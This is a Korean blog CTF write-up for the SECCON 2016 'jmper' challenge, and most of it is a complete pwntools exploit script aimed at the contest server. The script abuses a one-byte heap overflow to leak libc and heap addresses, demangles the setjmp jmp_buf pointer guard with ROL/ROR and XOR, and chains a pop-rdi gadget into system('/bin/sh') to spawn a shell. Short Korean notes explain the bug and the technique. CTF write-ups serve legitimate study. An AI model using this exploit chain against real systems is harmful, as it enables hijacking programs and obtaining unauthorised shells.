from pwn import *

#r=remote('localhost',1111)
r=remote('jmper.pwn.seccon.jp',5656)
raw_input()
def ROL(data, shift, size=64):
    shift %= size
    remains = data >> (size - shift)
    body = (data << shift) - (remains << size )
    return (body + remains)
     
 
def ROR(data, shift, size=64):
    shift %= size
    body = data >> shift
    remains = (data << (size - shift)) - (body << size)
    return (body + remains)

print r.recvuntil(':)')

add='1'
wmemo='3'
wname='2'
showname="4"

##add 2

r.sendline(add)
r.sendline(add)

## name0 memo0
printf_got=0x601fa8
name0="A"*33
memo0="m"*33		#"m"*24+p64(puts_got)+'\x00'
r.sendline(wname)
r.sendline('0')
r.sendline(name0)
r.sendline(wmemo)
r.sendline('0')
r.sendline(memo0)

jmpbuf=0x602038
r.sendline(wname)
r.sendline('1')
r.sendline(p64(printf_got)*4+"B")
r.sendline(wmemo)
r.sendline('1')
r.sendline(p64(printf_got)*4+"C")

r.sendline(wname)
r.sendline('0')
r.sendline("BBB"+p64(printf_got)*3+"B"*6)

r.recv()
r.sendline(showname)
time.sleep(1)
print r.recv()
r.sendline('1')
leak=r.recv(6)
leak+="\x00\x00"
leak=u64(leak)
system=leak-56752
#system=leak-64768
print "printf addr : ",hex(leak)
print "system addr : ",hex(leak-56752)

r.sendline(wname)
r.sendline('0')
r.sendline("BBB"+p64(jmpbuf)*3+"B"*6)

r.recv()
r.sendline(showname)
time.sleep(1)
print r.recv()
r.sendline('1')
leak=r.recv(4)
leak+="\x00\x00\x00\x00"
jmpleak=u64(leak)
print "jmp_buf addr : ",hex(jmpleak)

longjump_plt=0x400700
longjump_got=0x601fe0

r.sendline(wname)
r.sendline('0')
r.sendline("BBB"+p64(jmpleak+0x38)*3+"B"*6)
r.recv()
r.sendline(showname)
time.sleep(1)
print r.recv()
r.sendline('1')
leak=r.recv(8)
heapleak=u64(leak)
print "heapleak : ",hex(heapleak)
a=ROL(heapleak,47,64)
a=a^0x400c31
print hex(a)

a=a^(u64(p64(0x602300+8)))

a=ROR(a,47,64)


r.sendline(wname)
r.sendline('0')
r.sendline("BBB"+p64(jmpleak)*3+"B"*6)
r.sendline(wname)
r.sendline('1')
r.sendline(p64(system)+p64(a))

r.sendline(wname)
r.sendline('0')
r.sendline("BBB"+p64(0x602300+0x10)*3+"B"*6)
r.sendline(wname)
r.sendline('1')
ppr=0x0000000000400cc1
pr=0x400cc3 	#pop rdi
r.sendline(p64(pr)+p64(0x602350)+p64(system)+"B"*8)

ppppr=0x0000000000400cbc


r.sendline(wname)
r.sendline('0')
r.sendline("BBB"+p64(0x602350)*3+"B"*6)
r.sendline(wname)
r.sendline('1')
r.sendline('/bin/sh\x00')


for i in range(29):
	r.sendline(add)

r.interactive()



64bit인거 깜빡하고 왜 쉘안뜨지? 한참 뻘짓했던 문제..

GOT overwrite하려했는데 GOT에 w권한이 없더라

아이다로 까보니까 got주소 찾아가는 내가 알던 방식이랑 좀 달랐음 동적으로 찾더라


짧게 설명하자면

setjmp longjmp

라는 함수가 있는데 setjmp에서 jmppoint인가 구조체이름이 기억이 안나는데

아무튼 그 구조체에 레지스터 정보를 저장한다.


fg:30이엿나 아무튼 계속 바뀌는 값이랑 xor하고 ROR해서 저장하는데

저장되는 레지스터중 rip값은 PIE가 없어서 항상 일정하기 때문에 그걸로 랜덤XOR 값을 찾아서 그 값으로 구조체에 RBP를 계산해서 원하는 값을 넣어줄수 있음


힙영역 조작은 입력크기를 32가 아닌 33으로 한바이트 더 쓸 수 있어서 구조체의 name성분의 주소를 덮어쓸수 있다.

그걸로 임의의 영역을 조작가능함


취약점은 비교적 쉽게 찾았으나 exploit에서 비트 연산도 처음해보고 해서 exploit을 짜는데 시간이 오래걸렸다

공부가 더 필요할 것 같다고 느꼈다 

좀더 빠르고 매끄럽게 문제를 풀수 있도록해야겠다.


'CTF' 카테고리의 다른 글

[9447-ctf-2015] search 230pt  (0) 2017.01.08
[33c3ctf]babyfengshui  (0) 2017.01.06
[SECCON 2016] pppppoxy  (0) 2016.12.29
[SECCON2016]vigenere암호 100p  (0) 2016.12.12
Seccon 2016 깃허브 링크+포너블바이너리몇개  (0) 2016.12.11

+ Recent posts